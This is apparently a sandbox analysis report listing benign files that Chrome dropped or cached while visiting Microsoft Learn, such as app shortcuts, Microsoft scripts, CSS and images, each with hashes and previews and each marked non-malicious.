File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 13:42:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.99507739917914
Encrypted:	false
SSDEEP:	48:8Q0dJWTpyqprbHSidAKZdA16ehDiZUkwqehTy+R:8QmWl3pYBy
MD5:	5B19319B851B4D81C40E5FEC8C43E18E
SHA1:	74887C10DB13A4452D18AF00BC2D3620F705C0C1
SHA-256:	49F57E9C69495AEF3EF0BD5D51DFA62F9A3524EF49B7BF49F94B362ACF5EC09D
SHA-512:	60EA19AE061163283F2B39D23032A9CD49C75D6ECD48395CB8A29299B534D1116B65932F9FBCFE6DE09399BC9F5781BD84F79B7C191389CE63D422E94D728738
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....._.4.[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.YJu....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YJu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YJu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YJu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YMu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L./.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 13:42:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.985577811379688
Encrypted:	false
SSDEEP:	48:800dJWTpyqprbHSidAKZdA1UehBiZUk1W1qehVy+C:80mWl3pI91y
MD5:	D4BB396E715A4170F6A788549F48B854
SHA1:	3E6115FADA7413C4CFACF5565F214E80DFC2B842
SHA-256:	577A1F78EA5254D374A365EFAA0C14DA90DE3C772D757114E2E867E187FB8D6A
SHA-512:	163655D173CD01A7A0180F4D3E159CB7F3734F4856683651356D8761036B821D576C1E6ADDA52FE2047DA792E80FF88E0DFAC3FE8D7E29EE06F8B01F2A854AB1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....5.4.[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.YJu....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YJu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YJu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YJu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YMu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L./.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 13:42:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9917772437664447
Encrypted:	false
SSDEEP:	48:8HB0dJWTpyqprbHSidAKZdA1duTrehOuTbbiZUk5OjqehOuTbLy+yT+:8HBmWl3plTYTbxWOvTbLy7T
MD5:	8E9F425B138296F77CDCCC99042331D9
SHA1:	1AAE75B2DAC6AB5D2D9897553AF98EC6B61585B7
SHA-256:	D107A72F9B32952DAC23A2E69B5C2E925BA657E91AF609F6CD7053C5FFE978E2
SHA-512:	DFA1315A97DA74F0BF6D18C51D52EF34A46B8D338C0C9C5B5B24F116435E29065884BCC9BD560326B157F1726B4E6013881B462E58B9E0E3A98048139D6E58C1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....1.4.[..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.YJu....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YJu....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YJu....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YJu..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YMu...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L./.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed 